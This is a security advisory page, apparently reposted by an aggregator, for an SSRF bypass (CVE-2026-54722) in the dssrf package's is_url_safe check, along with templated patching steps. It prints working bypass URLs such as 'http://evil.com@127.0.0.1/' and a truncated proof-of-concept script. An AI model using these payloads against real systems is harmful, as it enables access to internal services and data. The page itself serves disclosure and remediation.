Vulnerability in dssrf (CVE-2026-54722)
Summary
Vulnerability in dssrf (CVE-2026-54722). Risk of unauthorized operations or information disclosure. Exploitable via is_url_safe. Mitigation: upgrade to 1.0.4 or later.
Original description
The description as published by the source.
Summary
is_url_safe in v1.0.3 contains an SSRF bypass. remove_at_symbol_in_string is applied to the raw URL string before new URL() parses it. This strips the @ that separates userinfo from host, corrupting the hostname so internal IPs are never checked.
Vulnerability
In helpers.ts, is_url_safe does:
u = remove_at_symbol_in_string(u); // strips ALL '@' from the raw string
// ...
const parsed = new URL(u);
const hostname = parsed.hostname; // resolved from the corrupted string
What happens step by step
Input: http://evil.com@127.0.0.1/
remove_at_symbol_in_string→http://evil.com127.0.0.1/new URL(...)→hostname = "evil.com127.0.0.1"- Not a bare IP, not IPv6 → passes all IP checks
is_hostname_resolve_to_internal_ip("evil.com127.0.0.1")→ NXDOMAIN → returns false- Result:
true(safe) — but any HTTP client using the original URL connects to127.0.0.1
Proof of Concept
import nock from 'nock';
import { got } from 'got';
import { is_url_safe } from 'dssrf';
// Simulate an internal server at 10.0.0.1 that returns secret data
nock('http://10.0.0.1:80').persist().get('/').reply(200, 'SECRET_DATA');
const BYPASS_URL = 'http://2@10.0.0.1/';
const PLAIN_URL = 'http://10.0.0.1/';
// dssrf should block both — it only blocks the plain one
console.log('--- dssrf validator ---');
console.log(`is_url_safe('${PLAIN_URL}') =`, await is_url_safe(PLAIN_URL), '← correctly blocked');
console.log(`i…
Source: GitHub Security Advisories (Global) NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-54722 has been found in dssrf.
Attackers can target a specific entry point like is_url_safe over the network to misuse the product.
Risk of unauthorized operations or information disclosure.
What to do: upgrade dssrf to 1.0.4 or later.
If unsure, ask your IT team or search "dssrf CVE-2026-54722" on the vendor's site.
CVE-2026-54722 (dssrf) — CWE-76
Attack surface: is_url_safe / remove_at_symbol_in_string / helpers.ts / true
Patched: 1.0.4 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
A vulnerability (CWE-76) exists in dssrf. Attackers reach the vulnerable code path via is_url_safe.
Check the vendor advisory for the affected versions of dssrf. Attack surface: is_url_safe / remove_at_symbol_in_string / helpers.ts / true.
Severity: ?. Risk of unauthorized operations or information disclosure.
Update to 1.0.4.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'dssrf' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'dssrf' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
dssrfを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade dssrf to 1.0.4ステージング環境で 1.0.4 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory nvd.nist.gov
- package github.com
- web github.com
- web github.com
- web github.com
- web github.com
- web github.com